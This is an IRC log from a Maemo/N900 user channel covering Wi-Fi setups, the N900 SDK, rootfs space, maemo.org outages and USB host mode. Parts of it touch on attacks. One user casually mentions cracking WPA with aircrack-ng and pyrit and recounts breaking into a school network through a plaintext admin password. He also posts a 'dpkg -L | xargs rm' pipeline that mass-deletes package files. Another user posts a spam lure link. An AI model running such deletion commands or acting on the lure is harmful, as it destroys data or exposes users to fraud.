| dotblank | problem is getting a moca interface.. normally they are expensive | 07:14 |
| dotblank | thats PLC | 07:15 |
| dotblank | very dependant on distance | 07:15 |
| dotblank | and quality of power in your house | 07:15 |
| omar | i'm half satisfied w/my wifi setup though | 07:15 |
| pupnik | mornin | 07:15 |
| omar | have a d-link router upstairs and a range repeater downstairs | 07:15 |
| omar | and can get full bandwidth (usually) | 07:15 |
| dotblank | I hacked my linksys router with dd-wrt and used it as a wireless bridge | 07:16 |
| omar | nice | 07:16 |
| dotblank | working with a lot of compuers gets more difficult with wireless | 07:16 |
| dotblank | computers* | 07:16 |
| omar | yeah i get random problems | 07:17 |
| dotblank | Where I live.. There are about 30+ networks in range of my pc | 07:17 |
| omar | oh that sucks then :P | 07:17 |
| dotblank | so its super congested | 07:17 |
| omar | where do you live? | 07:17 |
| dotblank | suburbia | 07:17 |
| omar | when i lived in california i could pick up like 15 accesspoints walking around my house with kismet on | 07:18 |
| omar | a laptop | 07:18 |
| dotblank | I used to do the same thing.. now I have my n900 | 07:18 |
| omar | and the spacing between the houses was pretty big | 07:18 |
| omar | i have no idea how to use the kismet CLI on it | 07:18 |
| dotblank | im happy aircrack-ng was ported | 07:19 |
| omar | i get a ton of errors then it keeps wanting to connect | 07:19 |
| omar | how're you supposed to use it? | 07:19 |
| omar | kismet that is | 07:19 |
| dotblank | I didn't use kismet much | 07:19 |
| omar | does aircrack do wpa nowadays? | 07:19 |
| dotblank | I used aircrack exclusively | 07:19 |
| dotblank | yes | 07:19 |
| omar | is it still brute force or is there an algorithm now? | 07:20 |
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| dotblank | trying to get the n900 version to work with location services so I can go biking and map out my area | 07:20 |
| dotblank | omar still bruteforce | 07:20 |
| dotblank | omar, but.. http://code.google.com/p/pyrit/ | 07:20 |
| omar | too bad my n900 doesn't have a geforce 295 gtx ;P | 07:21 |
| dotblank | well its networked now | 07:22 |
| dotblank | have a home cluster with gpus running | 07:22 |
| dotblank | I have a gtx 285 and 275 | 07:22 |
| omar | yeah that goes beyond my know-how :P | 07:24 |
| omar | sending a file back home to your cluster for bruteforcing | 07:24 |
| omar | spent too much time playing wow | 07:24 |
| dotblank | That game is a killer | 07:24 |
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| omar | why would a core 2duo have the same speed as a core i7 950 | 07:25 |
| dotblank | used to play got bored and installed linux | 07:25 |
| omar | i've been playing w/linux on and off since high school but never fully committed | 07:25 |
| dotblank | omar, well I don't think hyperthreading really helps | 07:25 |
| dotblank | Ive used linux since middle school | 07:25 |
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| omar | i think back when i was using it linux was nearly synonymous with redhat | 07:26 |
| omar | so tried installing that and couldn't get my video card to work | 07:26 |
| omar | but learned a lot trying | 07:26 |
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| dotblank | I tried installing slackware and getting it to work with my 3dfx Voodoo | 07:26 |
| dotblank | that was my first experiance with linux | 07:27 |
| omar | lool i remember 3dfx voodoo | 07:27 |
| omar | i remmeber buying one and my framerate in quake 3 made the game nice and smooth | 07:27 |
| omar | before it was like playing a powerpoint presentation | 07:28 |
| dotblank | I guess its come a long way.. now im sporting dual 1080p monitors with a digital sound receiver | 07:28 |
| omar | yeah.. and i'm broke now i'm still stuck w/my core 2 duo and ati hd 5770 | 07:28 |
| dotblank | im broke (well now) | 07:28 |
| omar | dropped college -> working (nice salary) -> back in university again | 07:28 |
| omar | during my short stint working i bought 4 motorcycles within 2 years | 07:29 |
| pupnik | why are you on internet if you have no money? go earn some money. | 07:29 |
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| omar | and retired for like 6 months | 07:29 |
| omar | i have class in 2.5 hours and i'm installing maemo-sdk :P | 07:29 |
| omar | can't leave the internet! | 07:29 |
| dotblank | I was working as a network support tech... and they didn't pay me enough for the level of stress that came with the job now im in school | 07:30 |
| omar | i was making 56k/year full health benefits when i was 20 | 07:30 |
| omar | and decided to quit that and move to another country | 07:31 |
| dotblank | as? | 07:31 |
| omar | working for a hospital as kind of a software support | 07:31 |
| pupnik | broke = broken over here | 07:31 |
| omar | not just a hospital.. a national healthcare organization | 07:31 |
| dotblank | I would love to get a job relating to opensource | 07:32 |
| omar | they had some old software made in 1990s that was all command line interface and they rolled out a new system, had to help facilitate that. it was an awesome job | 07:32 |
| omar | but i wans't using my brain | 07:32 |
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| omar | mundane troubleshooting skillz but dealing with people all the time was fun | 07:32 |
| dotblank | I would work on VoIP and cisco products .. I mean it is 10-20 times harder get help for closed software | 07:33 |
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| omar | what kind of programming experience you have? | 07:33 |
| dotblank | Not to much.. kinda a hobbyist | 07:33 |
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| omar | more than me obviously! | 07:33 |
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| omar | omg the sdk is done d/ling finally | 07:33 |
| omar | after 2 hours | 07:34 |
| dotblank | omar, I don't know I know a lot of languages.. sortof never one to completeness | 07:34 |
| dotblank | tought myself php in 8ths grade | 07:34 |
| dotblank | That was cool | 07:34 |
| dotblank | had all sorts of fun with that | 07:34 |
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| omar | i was learning VB5 in 7th grade then i discovered quake 3.. my first real online computer game | 07:35 |
| omar | then met some ppl through irc in quake 3 channels and got into mmorpgs so that derailed me throughout highschool | 07:35 |
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| dotblank | I got ruined in highschool by hacking | 07:36 |
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| dotblank | got into my county's public school system | 07:36 |
| omar | oh in 6th grade i was having fun w/netbus lol | 07:36 |
| omar | nice | 07:36 |
| dotblank | was domain admin for 60k+ desktops | 07:36 |
| omar | how'd you gain access to that? | 07:36 |
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| dotblank | they used a insecure policy tool that stored the admin password in plaintext on EVERY machone | 07:37 |
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| dotblank | so when they found out they got mad | 07:37 |
| omar | lol | 07:38 |
| omar | the worst thing i did was sending/cancelling print jobs to random places in my school | 07:38 |
| dotblank | The schoolboard said I prolly didn't need to go anyway | 07:38 |
| dotblank | grr | 07:38 |
| omar | so you got in massive trouble? | 07:38 |
| dotblank | yea court and all that | 07:39 |
| omar | wow | 07:39 |
| dotblank | that was 9th grade | 07:39 |
| omar | so did you complete? | 07:39 |
| dotblank | yes | 07:39 |
| dotblank | took online classes (lol) | 07:39 |
| dotblank | then got back into school | 07:39 |
| dotblank | got computer rights back | 07:39 |
| omar | hehe | 07:40 |
| dotblank | did internships in HS | 07:40 |
| dotblank | competed nationally in computer networking | 07:40 |
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| omar | never knew there was competitions for that | 07:41 |
| dotblank | yea its little knows | 07:41 |
| dotblank | known | 07:41 |
| dotblank | got 4th in the nation | 07:41 |
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| dotblank | this kid from cyberdefense got first | 07:41 |
| omar | what did the competition entail? | 07:42 |
| dotblank | tests. troubleshooting configuration.. stuff liek that | 07:43 |
| omar | o | 07:43 |
| omar | alright so these scratchbox targets.. | 07:43 |
| omar | ARMEL and x86 | 07:43 |
| omar | i choose armel when i want to do development for my n900? | 07:43 |
| dotblank | frogot to study PAP over pptp serial links between cisco routers | 07:43 |
| dotblank | well both are | 07:44 |
| dotblank | but armel is the one that will run on the n900 | 07:44 |
| omar | i'm a little confused about it, what does it change exactly? the way the code is compiled? | 07:44 |
| dotblank | the target | 07:45 |
| omar | i'm guessing the armel compiles binaries for the armel? | 07:45 |
| omar | yeah i read it was a target to something | 07:45 |
| dotblank | if you set of the xserver you can run the app on your computer | 07:45 |
| dotblank | with gui | 07:45 |
| dotblank | set up* | 07:45 |
| dotblank | that only works in x86 | 07:45 |
| dotblank | armel only works with commandline | 07:45 |
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| dotblank | in the sbox | 07:45 |
| omar | oh | 07:46 |
| dotblank | if it compiles in the sbox it should compile for the armel in the sbox | 07:46 |
| omar | i see | 07:46 |
| omar | so debugging/testing use x86 and when you wanna throw it on the device use the armel | 07:46 |
| omar | to compile | 07:46 |
| dotblank | im not an expert but thats what I think is going on | 07:47 |
| dotblank | omar, yup | 07:47 |
| dotblank | omar, thats not to say you won't have hickups when compiling to armel | 07:47 |
| omar | jumping into this is pretty overwhelming having mediocre experience w/linux and virtually no working knowledge with sdks | 07:47 |
| dotblank | some code has platform specific sections of their code | 07:47 |
| dotblank | sbox is terribly old | 07:48 |
| omar | i aced both beginning and intermediate programming though and found learning C++ easy | 07:48 |
| omar | and fun ;) | 07:48 |
| dotblank | I took a programming class and I didn't learn a thing | 07:48 |
| dotblank | it was soo easy | 07:48 |
| dotblank | I need to goto a better school | 07:48 |
| omar | yeah i didn't learn much in beginning programming course other than syntax | 07:48 |
| omar | but intermediate was nice | 07:49 |
| dotblank | I knew more then the teacher | 07:49 |
| omar | yeah same here | 07:49 |
| dotblank | all the apps i made I made them able to run on windows and linux | 07:49 |
| dotblank | that confused him | 07:49 |
| omar | we were looking at some girl's code for her final project and he was getting confused i had to help her explain it to him | 07:49 |
| omar | lol | 07:49 |
| dotblank | I bet I could make a ton of money just being a tutor | 07:49 |
| omar | all i've really done was visual studio console apps | 07:50 |
| dotblank | QT seems cool to me cause its really really easy to port | 07:51 |
| dotblank | pr1.2 will be super easy to develop for | 07:51 |
| omar | why's that? you can use qt now too can't you? | 07:51 |
| dotblank | well the new nokia beta sdk has the sbox already set up and integrated so you just have to click build and it creates the armel target | 07:52 |
| omar | oh damn... should i have downloaded that new 1.2 sdk? | 07:52 |
| dotblank | also integrating it with MADDE proves very easy | 07:53 |
| dotblank | well.. its good your learning this tho | 07:53 |
| * RST38h yawns wide enough to swallow a bicycle | 07:53 | |
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| omar | what're you using as an IDE? or does the sdk act as an ide as well? | 07:54 |
| dotblank | it use qt creater | 07:54 |
| dotblank | uses* | 07:54 |
| omar | so that's for c++ | 07:55 |
| omar | cool my native language ;P | 07:55 |
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| omar | i was learning python though and it looked rather easy to throw things together with Qt | 07:56 |
| dotblank | you don't need the sdk to develop python.l. you can just run it on your device | 07:57 |
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| DW_Ya_DiqG | wanna c somethin fucced up lol dont send pics to ur bf if ur gonna do him dirty lol http://www.paybackNikki.in/?id=1053lbj6dbtpx2w0nwezzclymagipl | 07:57 |
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| omar | seems more convenient then | 07:58 |
| omar | how's the performance? | 07:59 |
| pupnik | a few seconds atartup time for most py* apps | 07:59 |
| omar | so it's all being interpreted or is there a way to compile something to make it run faster? | 08:00 |
| pupnik | if you can code in something compiled please do :) | 08:02 |
| omar | lol | 08:02 |
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| user__ | hmm | 08:07 |
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| omar | weird i can log into freenode on my n900 but not pc | 08:09 |
| omar | need vpn to access it with my pc | 08:09 |
| omar | ohh | 08:09 |
| omar | guess that port was blocked | 08:09 |
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| dotblank | ugh | 08:13 |
| dotblank | might need to reflash | 08:14 |
| dotblank | filled my rootfs and can't fix it | 08:14 |
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| omar_ | you went to taht wiki i showed you? | 08:14 |
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| dotblank | don't think so.. | 08:15 |
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| omar_ | http://maemory.com/N900/tools/moveroot.sh | 08:15 |
| omar_ | this gave me 40 more megs | 08:16 |
| Naomarik | f | 08:16 |
| Naomarik | grr | 08:16 |
| dotblank | already tried that | 08:17 |
| omar_ | o | 08:17 |
| omar_ | wat the heck you do then? :P | 08:17 |
| dotblank | dpkg --configure -a and the log files filled um my space | 08:18 |
| dotblank | didn't mean to do that | 08:18 |
| dotblank | ran out of space mid install | 08:18 |
| pupnik | omar_: where did that come from | 08:19 |
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| omar_ | what come from? | 08:20 |
| omar_ | the script? | 08:20 |
| pupnik | script | 08:20 |
| omar_ | found it on maemo wiki | 08:20 |
| pupnik | k ty | 08:20 |
| omar_ | rootfs -> http://wiki.maemo.org/User:Tanner#Safely_free_some_space_on_rootfs -> link to script | 08:20 |
| dotblank | ah ha fixed it | 08:21 |
| dotblank | dpkg -l | grep libqt4 | awk '{ print $2 }' | xargs dpkg -L | xargs rm | 08:21 |
| pupnik | dotblank: you got libqt4-core fixed on your device? | 08:22 |
| dotblank | nah not really | 08:22 |
| dotblank | just had to remove it | 08:22 |
| pupnik | it oh | 08:22 |
| pupnik | i want apt-get install phototranslator-alph | 08:22 |
| pupnik | a | 08:22 |
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| dotblank | w00t I got 11% back | 08:24 |
| dotblank | looks like everything will be ok | 08:24 |
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| omar_ | wo0t i have something that looks like an n900 on my desktop :D | 08:26 |
| omar_ | so dotblank where is this qtcreator you spoke about | 08:28 |
| dotblank | omar_, http://www.forum.nokia.com/Tools_Docs_and_Code/Tools/IDEs/Nokia_Qt_SDK/ | 08:29 |
| omar_ | oh thought it was in scratchbox itself | 08:29 |
| omar_ | how naive of me | 08:29 |
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| omar_ | so i'm assuming this is for 1.2 as well? | 08:31 |
| omar_ | since it's beta | 08:31 |
| dotblank | yes | 08:37 |
| dotblank | it won't work on anything else | 08:37 |
| dotblank | ok NOW I have to reflash | 08:37 |
| omar_ | what'd you do | 08:37 |
| dotblank | I break stuff then fix then break | 08:37 |
| dotblank | my 20 online accounts are about to go offline :( | 08:38 |
| omar_ | no wonder you only last 4 hours | 08:38 |
| omar_ | you prob use your device like a laptop | 08:38 |
| dotblank | yea | 08:39 |
| dotblank | its my ultra mobile computer | 08:39 |
| dotblank | at least I can still run the backup tool | 08:40 |
| omar_ | what exactly does that backup tool backup? | 08:43 |
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| dotblank | cantacts etc... | 08:44 |
| dotblank | contacts* | 08:44 |
| omar_ | boring ;P | 08:45 |
| omar_ | dotblank, what linux you using? | 08:46 |
| dotblank | 10.04 | 08:46 |
| dotblank | ubuntu | 08:46 |
| omar_ | you use empathy? | 08:46 |
| dotblank | aye | 08:46 |
| omar_ | msn too? | 08:46 |
| dotblank | no | 08:46 |
| dotblank | I use gtalk | 08:46 |
| dotblank | aim | 08:46 |
| omar_ | the msn part is screwy | 08:46 |
| dotblank | and skype | 08:46 |
| omar_ | it screws up after awhile | 08:46 |
| dotblank | and I run my own local jabber server | 08:46 |
| omar_ | i have no idea what jabber is :P | 08:47 |
| omar_ | keep seeing it lately | 08:47 |
| dotblank | its the protocol that gtalk uses and facebook's backend and well jabber | 08:48 |
| omar_ | i thought that was xmpp | 08:49 |
| omar_ | for gtalk | 08:49 |
| dotblank | yea same thing | 08:50 |
| dotblank | xmpp is jabber | 08:50 |
| dotblank | whoa | 08:50 |
| omar_ | oh | 08:50 |
| omar_ | hah | 08:50 |
| dotblank | WHOA | 08:50 |
| omar_ | wat | 08:50 |
| dotblank | never seen this nokia boot screen befor | 08:50 |
| dotblank | ewhat on earth is this? | 08:50 |
| dotblank | wish I could take a picture but my phones is well er booting or something | 08:51 |
| omar_ | weird | 08:51 |
| omar_ | u flashed it or what | 08:51 |
| dotblank | not yet | 08:52 |
| omar_ | mind describing it? | 08:52 |
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| dotblank | ah it wasn't much | 08:54 |
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| dotblank | now its flashing | 08:54 |
| dotblank | ah back in buisness | 08:56 |
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| omar_ | dotblank, aight i'm heading to class, will keep in touch w/you on skype if not here ;) | 09:02 |
| omar_ | nice meeting you! | 09:02 |
| dotblank | omar_, nice meeting you to | 09:03 |
| dotblank | WOW | 09:04 |
| dotblank | only 68% of rootfs is used up | 09:04 |
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| RST38h | Lt. Patenaude said Lord Jesus Christ had a Massachusetts Registry of Motor Vehicles identification card. | 09:09 |
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| dotblank | is maemo.org down? | 09:11 |
| Ken-Young | dotblank, Nope. | 09:12 |
| dotblank | try just the frontpage not the forums | 09:13 |
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| Ken-Young | dotblank, I did - it works for me. | 09:14 |
| dotblank | clear your cache | 09:14 |
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| dotblank | for me its a blank page | 09:14 |
| dotblank | http://maemo.org | 09:15 |
| Ken-Young | dotblank, It's fine for me. | 09:15 |
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| Termana | dotblank, I get the same thing, so your not alone :P | 09:17 |
| ds3 | 09:17 | |
| Termana | X-Fade, ping | 09:18 |
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| Ken-Young | Even after clearing cache, I have no problem seeing the front page http://maemo.org . | 09:19 |
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| Termana | Clearing my cache has no effect, still see the same problem as dotblank | 09:21 |
| dotblank | usgs just texted me there is a 7.4 M earthquake! | 09:22 |
| Ken-Young | dotblank, Where? | 09:22 |
| dotblank | says middle of nowhere tho | 09:22 |
| dotblank | Banda Aceh | 09:22 |
| dotblank | Indonesia | 09:22 |
| dotblank | http://earthquake.usgs.gov/earthquakes/recenteqsww/Maps/10/95_5.php | 09:23 |
| Termana | One in Mexico as well | 09:23 |
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| dotblank | very minor ones tho | 09:24 |
| Termana | Ah right, I see that now :P | 09:24 |
| Termana | 2.5 | 09:24 |
| dotblank | http://wcatwc.arh.noaa.gov/2010/05/09/338478/01/message338478-01.htm | 09:25 |
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| frals | hmm | 09:42 |
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| frals | only me getting a blank page at maemo.org? | 09:42 |
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| jaska | me too | 09:42 |
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| Termana | frals, dotblank and myself are getting it as well | 09:50 |
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| pupnik | getting what? | 09:54 |
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| frals | pupnik: blank page at maemo.org | 10:05 |
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| frals | X-Fade: maemo.org/* serving up blank pages | 10:08 |
| KnightStalker | grr | 10:08 |
| KnightStalker | I hate new maemo.org | 10:08 |
| lbt | yeah it's crap | 10:09 |
| lbt | way too plain | 10:09 |
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| RST38h | maemo.org? it shows a white page to me | 10:22 |
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| cotigao | RST38h, same here | 10:33 |
| timeless_mbp | wfm | 10:33 |
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| Trizt | it shows a white page in seamoneky and konqueror the page I loaded before it | 10:38 |
| Trizt | maybe it's lenny playing ticks | 10:39 |
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| timeless_mbp | do i want to know what the nokia hk thing is? | 10:42 |
| Trizt | they say it's "Nokia", but I guess it's iis | 10:46 |
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| * timeless_mbp frowns | 11:16 | |
| timeless_mbp | what was the name of the 'real' service for the n800? | 11:16 |
| aquatix | imnotfaked? | 11:17 |
| timeless_mbp | rhapsody | 11:17 |
| aquatix | ah ;) | 11:17 |
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| __a | sorry if this is a stupid question but.. in the config file you get with kernel-config.. what is the point of having values for all frequency configs? if MINFREQ=250, why bother having 0:22,90 and 125:22,90 in FREQS? | 11:22 |
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| asj | I must say 125mhz does save a lot of bat :) | 11:25 |
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| sulx | I must say it doesn't | 11:26 |
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| asj | sulx: proof? | 11:26 |
| sulx | I had 125-900 | 11:26 |
| sulx | now 500-900 | 11:26 |
| asj | ok...so you don't have any numbers? :) | 11:27 |
| sulx | no | 11:27 |
| asj | ok, so we have one that says yay and one that says nay :) | 11:28 |
| Chiku | no hk nokia owner on this chan? | 11:28 |
| Chiku | they don't use irc ? | 11:29 |
| Corsac | 6667 doesn't pass the great firewall of china | 11:29 |
| Chiku | or just chinese irc ? | 11:29 |
| sulx | I don't see any difference between 125 and 500 | 11:29 |
| Chiku | HK no firewall rgiht? | 11:29 |
| Corsac | they have their own private internet | 11:29 |
| __a | sulx: doesnt it depend on how much the device idles? playing with it all day it'll never idle thus difference wont be noticed? | 11:29 |
| sulx | and 500 is mroe responsive | 11:29 |
| sulx | so going with it | 11:29 |
| asj | info is racist and bans HK | 11:29 |
| asj | err infobot | 11:30 |
| sulx | __a: true | 11:30 |
| asj | it should idle to 0, so 125 won't help there | 11:30 |
| sulx | with my usage batt lasts around 2 days | 11:30 |
| asj | I'll be lucky to last a whole day | 11:30 |
| __a | same here.. one day max | 11:31 |
| sulx | if IM clients are online thats another thing | 11:31 |
| asj | I have 3 voip accounts, 2 im accounts :D | 11:32 |
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| sulx | that explains a lot =) | 11:32 |
| asj | work phone, so <shrug> | 11:32 |
| asj | and I listen to mp3's when commuting so there's 1:30 of that, and if my coworkers is eating with his mouth open there's a couple more hours that day | 11:33 |
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| asj | eating chips with your mouth open in a shared office should be a hanging offence | 11:34 |
| __a | asj: so idle is always 0? then what does MINFREQ and MAXFREQ do?? min and max while in use? | 11:36 |
| asj | that would be a fair guess | 11:37 |
| asj | I don't know the technical details of this chip | 11:37 |
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| * timeless_mbp ponders | 12:07 | |
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| Trizt | Hong Kong nor Macau are behind the Chinese Great Firewall, but Australia may soon be having their own version | 12:25 |
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| DocScrutinizer | moo | 12:29 |
| RST38h | why not have a single firewall? =) | 12:29 |
| RST38h | for both China and Australia? | 12:29 |
| DocScrutinizer | hahh! - Hostmode for birthday gift, love that :-) | 12:30 |
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| Trizt | RST38h; it's possible, like when the Chinese firewall leaked and affected the rest of the world not so long ago | 12:30 |
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| Chiku | I don't think HK is behind the firewall, since chinese google servers is behind the firewall, google decise to use the .hk ones instead of the .cn ones | 12:38 |
| raster | RST38h: australia welcomes its new chinese overlords and their great firewall. shall we all ways be protected from the evils of the internet that the government deems us unworthy to experience. | 12:41 |
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| Trizt | from where did you get the silly thought that it would be behind the great firewall? | 12:46 |
| SpeedEvil | hk is not actually an island | 12:46 |
| raster | hk is an island | 12:47 |
| raster | if by hk you mean.. hong kong island | 12:47 |
| raster | (it literally is an island) | 12:47 |
| Trizt | I think most people include Kowloon and New Territories into HK | 12:48 |
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| raster | hong kong - the territory though does extend onto the mainland (kowloon) | 12:48 |
| raster | Trizt: as i said. depends on what you mean by hong kong :) | 12:48 |
| SpeedEvil | http://en.wikipedia.org/wiki/File:Hong_Kong_Location.svg | 12:48 |
| raster | but hong kong - the territory, is not behind the firewall | 12:48 |
| SpeedEvil | I mean the territory | 12:48 |
| raster | but australia should just join the .cn firewall | 12:49 |
| Trizt | at least not until July 2047 | 12:49 |
| raster | it'll do a great job of protecting those poor innocent australians from the evils of the internet | 12:49 |
| raster | so we are told by our politicians | 12:49 |
| raster | we obvious are too stpid to decide for ourselves and need protecting by those knowledgeable pollies | 12:49 |
| Trizt | I think it's better Australia joins .kp, who filters internet that they get from China | 12:50 |
| raster | that could work | 12:51 |
| raster | and red--star linux will be the national os | 12:51 |
| SpeedEvil | .kp has a really advanced filter | 12:51 |
| raster | lets put up everthing in 항울 | 12:51 |
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| raster | 안엏앗어! | 12:51 |
| SpeedEvil | http://www.globalsecurity.org/military/world/dprk/dprk-dark.htm | 12:51 |
| Trizt | raster; you mean red flag? | 12:51 |
| raster | no | 12:51 |
| raster | red flag is .cn's linux | 12:51 |
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| raster | red star is .kp's | 12:51 |
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| Trizt | I thought they had their own OS made completely by the Great Leader | 12:52 |
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| raster | they do | 12:53 |
| raster | red star linux | 12:54 |
| Trizt | I'm happy he invented double bread with beef, sadly those greedy Americans copied his food | 12:55 |
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| Cabletwitch | Ahh, much better. Not restricted to a tiny screen today :O) | 12:56 |
| Trizt | Cabletwitch; connected the n900 to your tv? | 12:57 |
| Cabletwitch | No, not using the N900 for irc this time. Normally when I'm here, I'm using xchant on it, on the train to work. | 12:57 |
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| Cabletwitch | Today, is a day off. So I can use my main machine, and not suffer an eternity of slow typoing (deliberate spelling) and eyestrain :O) | 12:58 |
| Cabletwitch | Still havent found a way to rid myself of these bloody phantom files though | 12:58 |
| Trizt | format c: ? ;) | 12:59 |
| Cabletwitch | Dont joke, I might be heading that way... | 12:59 |
| Cabletwitch | 5150 media files on my 900, 12 of which are actually real and present. | 12:59 |
| Cabletwitch | Hooray for things going slowly wrong. | 12:59 |
| Trizt | cool | 12:59 |
| Cabletwitch | A tip... NEVER copy an entire games directory to the N900, then attempt to use the media player. It just makes things... complicated. | 13:00 |
| Cabletwitch | Still, its down from over 11k of files. | 13:00 |
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| Cabletwitch | I wonder if and when the new update arrives, it might sort this mess. | 13:01 |
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| Trizt | hmmm... looks like my laptops update failed... | 13:01 |
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| ruskie | Cabletwitch, you mean in the mediaplayer/image viewer? just stop tracker then wipe the tracker db(~/.local/share/tracker/* and restart tracker ;) | 13:10 |
| Shapeshifter | why are the libalarm bindings for python so damn crippled -.- | 13:10 |
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| lmansuy | hello | 13:11 |
| lmansuy | is it the chan to ask questions about N900 software updating ? | 13:12 |
| Shapeshifter | ~ask | 13:13 |
| infobot | Questions in the channel should be specific, informative, complete, concise, and on-topic. Don't ask if you can ask a question first. Don't ask if a person is there; just ask what you intended to ask them. Better questions more frequently yield better answers. We are all here voluntarily or against our will. | 13:13 |
| lmansuy | ok | 13:13 |
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| * DocScrutinizer greets raster | 13:16 | |
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| raster | DocScrutinizer: nihao! | 13:17 |
| raster | :] | 13:17 |
| DocScrutinizer | nihao | 13:17 |
| lmansuy | I can't install apps like PyQT4 because of lack of libqt for example; I think I have nokia apps, nokia updates, ovi, maemo.org and maemo extras activated; Is there another repository to enable ? | 13:17 |
| DocScrutinizer | ;-) | 13:17 |
| DocScrutinizer | SpeedEvil: Shapeshifter: http://talk.maemo.org/showthread.php?p=650247#post650247 | 13:18 |
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| Shapeshifter | nice :D | 13:21 |
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| lbt | goddamit.... my n900 has started to ignore my APs again... | 13:22 |
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| SpeedEvil | Oh wow. | 13:25 |
| SpeedEvil | So it's at least reading descriptors. | 13:25 |
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| SpeedEvil | That would seem to be 99.5% of the way there | 13:26 |
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| Shapeshifter | lmansuy: I'm not sure where PyQt resides but I think it's in extras-devel. You might want to enable that (usual warnings apply!). | 13:26 |
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| lmansuy | Shapeshifter: PyQt seems to be in maemo extras; this is not the only package that refuse to install because of lack of Qt's libs... I do not know how to install Qt4 | 13:29 |
| DocScrutinizer | SpeedEvil: well, that's confirmation of my postulated hostmode-0.0.1, so let's call it hostmode-0.1 | 13:31 |
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| DocScrutinizer | SpeedEvil: I.E we may be just hours away from a decent working hostmode | 13:34 |
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| DocScrutinizer | SpeedEvil: the last 3 or 4 days were amazing :-D | 13:35 |
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| DocScrutinizer | SpeedEvil: seems like a critical mass effect | 13:35 |
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| DocScrutinizer | SpeedEvil: note the change in topic ;-D | 13:36 |
| pupnik | whatwhatwwhat | 13:36 |
| DocScrutinizer | pupnik: what what? | 13:37 |
| DocScrutinizer | :-P | 13:37 |
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| DocScrutinizer | pupnik: egoshin had a little birthday present for me :-) | 13:37 |
| pupnik | anything interesting happen DocScrutinizer ? i been in sauna | 13:37 |
| pupnik | is it maemo related? | 13:38 |
| DocScrutinizer | nah, just N900 enumerated some usb devices | 13:38 |
| DocScrutinizer | (well it tried to) | 13:38 |
| pupnik | +++ | 13:38 |
| DocScrutinizer | http://talk.maemo.org/showthread.php?p=650247#post650247 | 13:38 |
| roadi | i get the error message "E: Handler silently failed" when i try to instal fennec - can anyone give me a hint? thx :) | 13:38 |
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| * Shapeshifter is shopping for a USB to Micro-B adaptor... | 13:43 | |
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| DocScrutinizer | Shapeshifter: this one http://wiki.openmoko.org/wiki/Specialized_USB_cables#Ready-made_type_A_jack_to_a_type_A_jack_adapter_.28gender_changer.29 highly convenient and useful. Check the rest of that page as well | 13:47 |
| Shapeshifter | DocScrutinizer: I think I'll just get this: http://digitec.ch/ProdukteDetails2.aspx?Reiter=Bilder&Artikel=136285 | 13:48 |
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| Shapeshifter | you never know when you'll need a USB to 3.5mm klinke adaptor >.> | 13:48 |
| DocScrutinizer | Shapeshifter: I got plenty of these 'kits' ... :-/ | 13:49 |
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| DocScrutinizer | Shapeshifter: check it out carefully! odds are it can't do what you want | 13:49 |
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| DocScrutinizer | Shapeshifter: the front right item under the red one *might* be the one essential part, IF it is a micro-B | 13:52 |
| DocScrutinizer | otherwise you're out of luck with that one it seems to me | 13:52 |
| DocScrutinizer | Shapeshifter: my bet however is that's a mini-A jack to A-F | 13:55 |
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| DocScrutinizer | tbh none of the ~5 such usb multiadapter kits I got ever did anything useful for me | 13:56 |
| SpeedEvil | DocScrutinizer: is there any page on BME? | 13:56 |
| DocScrutinizer | dunno | 13:56 |
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| DocScrutinizer | don't think so, otherwise someone came up with the URL weeks ago, no? ;-D | 13:56 |
| Shapeshifter | DocScrutinizer: humm. | 13:57 |
| DocScrutinizer | SpeedEvil: I'm planning to start project 'just-replaces-bme' aka jrbme | 13:57 |
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| red | whats bme? :p | 13:58 |
| DocScrutinizer | battery management entity | 13:58 |
| DocScrutinizer | process bme_RX-51 | 13:58 |
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| DocScrutinizer | closed blob crap | 13:58 |
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| DocScrutinizer | getting in the way whenever you want to mess with batery, power management, or USB VBUS | 13:59 |
| DocScrutinizer | PITA for community as well as Nokia | 14:00 |
| DocScrutinizer | everybody wants to get rid of it | 14:00 |
| red | why no documentation for it | 14:00 |
| DocScrutinizer | I'm planning to start a project to achieve that goal | 14:00 |
| red | ah :) | 14:00 |
| DocScrutinizer | red: it's closed source of Nokia with IP of contractors in it (at least Nokia assumes that's the case) | 14:01 |
| Shapeshifter | huh, so bme isn't nokias fault? | 14:01 |
| DocScrutinizer | or s/contractors/3rd party software houses/ | 14:02 |
| DocScrutinizer | Shapeshifter: bme is heritage, I've been told 10 year old heritage | 14:02 |
| DocScrutinizer | and Nokia probably is *pleased* to get rid of it | 14:02 |
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| Shapeshifter | interesting | 14:03 |
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| DocScrutinizer | there's been two major bstacles afaik: exploding bat issue, and IP | 14:04 |
| DocScrutinizer | both is moot to best of my knowledge | 14:04 |
| DocScrutinizer | but Nokia remains to be convinced | 14:04 |
| Trizt | So when are you finished with the new implementation? | 14:04 |
| DocScrutinizer | first draft will be out there for peer review in a few days | 14:05 |
| Shapeshifter | Trizt: bme replacement will ship together with duke nukem forever and PR1.2 | 14:05 |
| merlin1991 | :P | 14:05 |
| Trizt | cool :) me writes up the date 2099-12-31 | 14:05 |
| omar | and an easy way to do pptp vpn :) | 14:06 |
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| SpeedEvil | DocScrutinizer: http://talk.maemo.org/showthread.php?p=650333 - attempt to recruit those that may not have read of it before - or who are put off by a huge long thread. | 14:07 |
| DocScrutinizer51 | guess I've seen that one before | 14:07 |
| DocScrutinizer51 | is it the kernel thread or whatever it was? | 14:08 |
| SpeedEvil | no - new thread | 14:08 |
| omar | SpeedEvil, that looks pretty amazing, you're working on that? | 14:08 |
| SpeedEvil | omar: Sort-of - I'm assisting at the edges as best I can. | 14:09 |
| omar | wish i was at the point where i could too :P | 14:09 |
| auenf | <Trizt> cool :) me writes up the date 2099-12-31 <-- thats far too soon | 14:09 |
| Trizt | auenf; using the Muslim calendar ;) | 14:10 |
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| crashanddie | so 600 years difference? | 14:11 |
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| * Trizt nods | 14:11 | |
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| auenf | thats still far too soon | 14:11 |
| DocScrutinizer51 | SpeedEvil: aaaahyah | 14:12 |
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| DocScrutinizer | SpeedEvil: http://talk.maemo.org/showpost.php?p=649434&postcount=803 ??? | 14:15 |
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| DocScrutinizer | SpeedEvil: you're sure that's the best ref to teaser? | 14:15 |
| SpeedEvil | Hmm - I was trying to indicate that power worked too | 14:16 |
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| Shapeshifter | so, should it be deemed a lie that people were told that usb host mode was physically impossible? | 14:22 |
| MohammadAG | not a lie... | 14:23 |
| MohammadAG | they said OTG was impossible | 14:23 |
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| MohammadAG | cool, windows registry is corrupt and I can't switch the default OS to ubuntu | 14:24 |
| alterego | It wasn't a lie, they were just misinformed. | 14:26 |
